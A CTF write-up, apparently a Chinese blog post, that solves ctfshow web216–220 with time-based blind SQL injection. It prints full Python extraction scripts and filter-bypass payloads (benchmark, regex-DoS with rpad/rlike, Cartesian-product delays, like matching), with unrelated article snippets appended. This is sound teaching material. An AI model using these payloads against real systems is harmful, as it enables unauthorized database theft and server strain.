ctfshow-web入门-sql注入(web216-web220)时间盲注结束

devtools/2024/9/24 6:57:26/

目录

1、web216

2、web217

3、web218

4、web219

5、web220


1、web216

最开始还以为是需要进行 base64 的相关处理,其实不必,直接闭合掉前面的括号即可,因为这里是字符串的拼接,将我们的 payload 替换掉那个 $id 。

在上一题的脚本上稍作修改:

# @author:Myon
# @time:20240813
import requests
import stringurl = 'http://d695fa2a-e7ee-408f-a3df-407b8d98b14e.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''for j in range(1, 50):for k in dic:# payload = {'debug':'1','ip':f"0)or if(substr(database(),{j},1)='{k}',sleep(3),0)#"}  # 猜数据库名# payload = {'debug': '1', 'ip': f"0)or if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)#"}  # 猜表名# payload = {'debug': '1','ip': f"0)or if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0)#"}  # 猜表名# payload = {'debug': '1','ip': f"0)or if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcc'), {j}, 1) = '{k}',sleep(3),0)#"}  # 猜列名payload = {'debug': '1', 'ip': f"0)or if(substr((select flagaac from ctfshow_flagxcc), {j}, 1) = '{k}',sleep(3),0)#"}  # 跑flagre = requests.post(url, data=payload)if re.elapsed.total_seconds() > 2:out += kbreakprint(out)

我们知道数据库名应该还是 ctfshow_web,那就直接跑列名吧:

payload = {'debug': '1', 'ip': f"0)or if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)#"}

表名为:ctfshow_flagxcc

查列名:

payload = {'debug': '1','ip': f"0)or if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcc'), {j}, 1) = '{k}',sleep(3),0)#"}

查一下这个 flagaac:

payload = {'debug': '1', 'ip': f"0)or if(substr((select flagaac from ctfshow_flagxcc), {j}, 1) = '{k}',sleep(3),0)#"}

拿到 flag:ctfshow{fc21aa5c-96ca-462a-ab81-954c58a38d55}

2、web217

淦,sleep 给过滤掉了,采用 benchmark 函数代替(之前面试就遇到过,时间盲注里 sleep 函数被过滤了怎么办,当时没答上来哈哈哈)

该函数是 MySQL 的一个内置函数,用于测试函数或表达式的执行速度,用法:

benchmark(count,expr),重复执行 count 次 expr 表达式,使得处理时间很长。

比如:

benchmark(10000000,md5('myon'))

将会执行 md5('myon') 10000000 次进而产生延时,可以测一下看看:

debug=1&ip=benchmark(10000000,md5('myon'))

大概执行了 10 秒钟

太久了,我们找一个合适点的次数:

debug=1&ip=benchmark(3000000,md5('myon'))

这个大概三秒钟,和我们前面设置的 sleep(3) 差不多 

用 benchmark(3000000,md5('myon')) 替换脚本里的 sleep(3)。

我们也直接从表名开始吧,注意结尾不要接注释符,因为你前面没有闭合单引号,后面如果给注释掉,闭合是有问题的,无法产生延时。

payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"} 

拿到表名为 ctfshow_flagxccb,继续查列名:

payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxccb'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}

查 flagaabc:

payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxccb), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}

拿到 flag:ctfshow{65c24007-f50d-40a0-adde-4d67771a2e79}

完整脚本:

# @author:Myon
# @time:20240813
import requests
import stringurl = 'http://6f8c19e2-81c7-4dbc-990c-aa3e3666e54f.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''for j in range(1, 50):for k in dic:# payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',benchmark(3000000,md5('myon')),0)"}  # 猜数据库名# payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 猜表名# payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 猜表名# payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxccb'), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 猜列名payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxccb), {j}, 1) = '{k}',benchmark(3000000,md5('myon')),0)"}  # 跑flagre = requests.post(url, data=payload)if re.elapsed.total_seconds() > 2:out += kbreakprint(out)

3、web218

sleep 和 benchmark 都被过滤了,采用其他方法。

正则 DOS RLIKE注入:

利用 SQL 多次计算正则消耗计算资源产生延时效果,与 benchmark 原理类似,通过 rpad 或 repeat 构造长字符串,以计算量大的 pattern。

debug=1&ip=if(substr(database(),1,1)='c',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0)

这个大概有 3 秒的延时 

我们也可以用 repeat 来简化一下,但是这个参数不太好调,并不是说越大耗时就越长

debug=1&ip=repeat(rpad('a', 999999, 'a'),16) rlike concat(repeat('(a.*)+',14), 'b')

 这个大概有两秒以上的延迟吧

函数说明:

rlike 是 SQL 中用于执行正则表达式匹配的函数。

rpad(str,len,padstr) 用字符串 padstr 对 str 进行右边填补直到长度达到 len,返回 str 。

repeat(str,times) 就是复制 str 字符串 times 次。

concat 我们前面说过了,就是用来做拼接的。

为了结果准确些,我们还使用延时长一点的 3s 吧:

rlike 也可以用 regexp 代替

delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike concat(repeat('(a.*)+',6),'b')"

前面的脚本是用 if 语句进行判断,这里写一下 try 语句,不用获取响应消耗的时间,而是我们手动设置一个请求超时的时间,因为前面的延时大概是 3s ,这里超时时间设小一点,为 1.5s。

我们还是直接跑表名:

payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',{delay},0)"}

得到表名是 ctfshow_flagxc

接下来跑列名:

payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'), {j}, 1) = '{k}',{delay},0)"}

看着有点问题,我们将超时时间再改小一点:

re = requests.post(url, data=payload,timeout=1)

这次没问题,拿到列名 flagaac

查字段信息:

payload = {'debug': '1', 'ip': f"if(substr((select flagaac from ctfshow_flagxc), {j}, 1) = '{k}',{delay}"}

跑着跑着又出问题,我还是改回了 0.5s 的超时

re = requests.post(url, data=payload,timeout=0.5)

这样搞其实对服务器也有一定影响,我们可以在猜到一个字符后就延时一会儿再继续猜,一定程度上可以提高准确率。

这次跑出来是:ctfshow{b8414820p-83dk2-458c-8f75-4d6sf4202a08c4d}

交了一下,果然不对,有问题。

后面我才发现,它这个延时没有之前的 3s 了,只有 1s 多点。

可能我们测试久了影响到了环境,那就将延时设置为 0.8 吧。

最后试了下,还是用获取总的耗时判断更为准确些:

正确 flag:ctfshow{b8414820-83d2-458c-8f75-4d6f420a8c4d}

我以为是设置超时容易误判,但是又试了一下设置超时的方法,在开始循环遍历前以及猜出正确字符后都进行延时,超时时间为 0.8s:

跑出结果一样,那就说明是那个判断时间的问题,因为一开始在 hackbar 测试,那个 payload 大概是 3s,结果后面变成了只有 1s 左右,因此 1s 和 0.5s 都可能会导致结果不准确,这里主要还是设置好一个判定时间,改成 0.8s 就比较准确了,具体多少取决于你实际题目环境。

完整脚本:

# @author:Myon
# @time:20240814
import requests
import string
from time import *url = 'http://5729e629-2a49-4f06-a7a4-c9a247648427.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''
delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike concat(repeat('(a.*)+',6),'b')"for j in range(1, 50):for k in dic:sleep(0.2)  # 遍历每个字符前延时0.2s# payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',{delay},0)"}  # 猜数据库名# payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',{delay},0)"}  # 猜表名# payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',{delay},0)"}  # 猜表名# payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'), {j}, 1) = '{k}',{delay},0)"}  # 猜列名payload = {'debug': '1', 'ip': f"if(substr((select flagaac from ctfshow_flagxc), {j}, 1) = '{k}',{delay},0)"}  # 跑flagtry:re = requests.post(url, data=payload,timeout=0.8)except:out += kbreakprint(out)sleep(1)  # 猜对一个字符延时1s#     re = requests.post(url, data=payload)#     if re.elapsed.total_seconds() > 0.8:#         out += k#         break# print(out)

除了 rlike&regexp注入,这道题还可以采用笛卡尔积注入,我们放在下一题说。

4、web219

这里把 rlike 过滤了,可以用 regexp 代替:

delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) regexp concat(repeat('(a.*)+',6),'b')"

我们只证明可行,这里以跑列名为例:

payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',{delay},0)"}  # 猜表名

说实话,我是真觉得 elapsed.total_seconds() 比 timeout 准确很多,因为刚才用请求超时的方法跑出来又有误差。

拿到表名:ctfshow_flagxca

后面我们使用笛卡尔积注入来实现:

让 Mysql 进行笛卡尔算积使其造成大负荷查询达到延时的效果

笛卡尔积(因为连接表是一个很耗时的操作)

AxB=A和B中每个元素的组合所组成的集合,就是连接表

在 mysql 下有一个很大的数据库 information_schema ,包含了所有的数据库和表信息。

SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;

可以按照这个规律,从 C 后面加个逗号,写 D,E 等等,想写多少就写多少,但是写的越多查询的速度就会越慢,如果在表或者列数量很少的情况下,可以写的多一点。

使用

(select count(*) from information_schema.columns A, information_schema.columns B)

代替 sleep 函数

查列名:

payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxca'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名

边测试边调整判定时间,我这里最后测出来是 0.4s 比较合适

if re.elapsed.total_seconds() > 0.4:

拿到列名:flagaabc

最后查字段信息:

payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxca), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 跑flag

拿到 flag:ctfshow{6ff5e1c5-00b2-4177-a9ab-483645d05dfc}

完整脚本:

# @author:Myon
# @time:20240814
import requests
import stringurl = 'http://4b0eb2f3-4461-4df7-b139-e9ef2a0ef978.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''for j in range(1, 50):for k in dic:# payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜数据库名# payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名# payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名# payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxca'), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名payload = {'debug': '1', 'ip': f"if(substr((select flagaabc from ctfshow_flagxca), {j}, 1) = '{k}',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 跑flagre = requests.post(url, data=payload)if re.elapsed.total_seconds() > 0.4:out += kbreakprint(out)

5、web220

过滤掉了 sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr

我们这里是直接判断的字符,因此没有使用到 ascii ,就算是基于 ASCII 码值判断的,ascii 被过滤了,也可以用ord 替代;

rlike 被过滤,如果用正则的注入则可以采用 regexp 代替;

mid、substr 被过滤,可以采用 right、left、rpad、lpad 等,这个方法在前面布尔盲注我们已经介绍过了,这里还可以采用 like,延时我们还是使用笛卡尔积。

这个 like 的用法其实我们前面也介绍过,结合 % 进行通配,还有印象吗?

没印象的可以再去看看前面的布尔盲注。

我们先猜表名:

payload = {'debug': '1', 'ip': f"if((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1) like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}

有问题 

看了一下,这个笛卡尔积在我这道题目环境测出来大概是 1s 左右的延时,因此我们需要调大判断的时间,否则就容易出误判:

调成了 0.8s 再跑一次:

if re.elapsed.total_seconds() > 0.8:

这次就很 nice 了 

拿到表名 ctfshow_flagxcac,我们继续跑列名:

注意,这里过滤了 concat ,因此我们的 group_concat 也无法使用,采用 limit 。

payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 0, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}

第一行是 id,我们看下其他行的结果,调整 limit 的参数看第二行的结果:

limit 1, 1
payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 1, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}

字段名为 flagaabcc

查该字段的详细信息:

payload = {'debug': '1', 'ip': f"if((select flagaabcc from ctfshow_flagxcac) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}

我这里跑了三次,前两次都有点问题,可以在代码中加上一定延时以提高准确率。

拿到 flag:ctfshow{f1f9ef13-cd3a-4f56-b05a-297fe580efa8}

附上完整脚本:

# @author:Myon
# @time:20240814
import requests
import stringurl = 'http://57957d8f-f6a5-4769-a1b7-c87499c0995e.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''for j in range(1, 50):for k in dic:# payload = {'debug':'1','ip':f"if(database() like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜数据库名# payload = {'debug': '1', 'ip': f"if((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1) like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名# payload = {'debug': '1','ip': f"if((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜表名# payload = {'debug': '1','ip': f"if((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac') like '{out+k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名# payload = {'debug': '1','ip': f"if((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 1, 1) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 猜列名payload = {'debug': '1', 'ip': f"if((select flagaabcc from ctfshow_flagxcac) like '{out + k}%',(select count(*) from information_schema.columns A, information_schema.columns B),0)"}  # 跑flagre = requests.post(url, data=payload)if re.elapsed.total_seconds() > 0.8:out += kbreakprint(out)

至此,时间盲注结束。


http://www.ppmy.cn/devtools/96093.html

相关文章

调试和优化大型深度学习模型 - 5 启动训练命令

调试和优化大型深度学习模型 - 5 启动训练命令 flyfish 先从简单的一句开始 python -m torch.distributed.launch这里的 -m 是告诉 Python 去运行 torch.distributed.launch 模块,而不是某个具体的 .py 文件。torch.distributed.launch 模块torch.distributed.la…

Django数据库一对多字段

3.16 Django数据库一对多 一对多关系通常通过外键(ForeignKey)来建立。 示例: 1)创建Author和book models class class Auther(models.Model):namemodels.CharField(verbose_name作者,max_length32)class Book(models.Model):…

Java八股整合(MySQL+Redis)

MySQL 数据库设计三范式 不可再分,部分依赖,传递依赖 主键和外键区别 主键非空约束,唯一性约束,唯一标识一个字段 外键用于和其他表建立连接,是另一张表的主键,可重复可为空可以有多个 为什么不推荐使…

百度地图SDK Android版开发 6 显示覆盖物

百度地图SDK Android版开发 6 显示覆盖物 前言地图类中覆盖物的接口覆盖物类Marker示例Polyline示例Polygon示例Arc示例Circle示例Text示例效果图 Marker的更多属性常用属性交互碰撞动画其它属性 折线的更多属性常用属性交互其它 多边形的更多属性常用属性交互其它 Arc的更多属…

Rust 错误处理

Rust 错误处理 Rust 是一种系统编程语言,以其内存安全、高并发和实用性而著称。在 Rust 中,错误处理是一个核心概念,它通过提供 Result 和 Option 类型来鼓励开发者显式地处理可能出现的错误,而不是依赖异常机制。本文将深入探讨 Rust 中的错误处理机制,包括 Result 和 O…

LeetCode //C - 316. Remove Duplicate Letters

316. Remove Duplicate Letters Given a string s, remove duplicate letters so that every letter appears once and only once. You must make sure your result is the smallest in lexicographical order among all possible results. Example 1: Input: s “bcabc”…

动态规划(算法篇)

算法之动态规划 动态规划(dp) 概念: 将递归算法重新写成非递归算法,让后者把那些子问题的答案系统地记录在一个表(dp数组)内,这种方法叫做动态规划通常用于求解具有最优性质的问题(最优子结构&最优子问题),希望找到具有最优…

数据结构队列的单链表实现

1.Queuec.h头文件函数名 #pragma once #include<stdio.h> #include<stdlib.h> #include<stdbool.h> #include<assert.h> typedef int QDataType; typedef struct QueueNode {QDataType data;struct QueueNode* next; }QNode; typedef struct Queue {Q…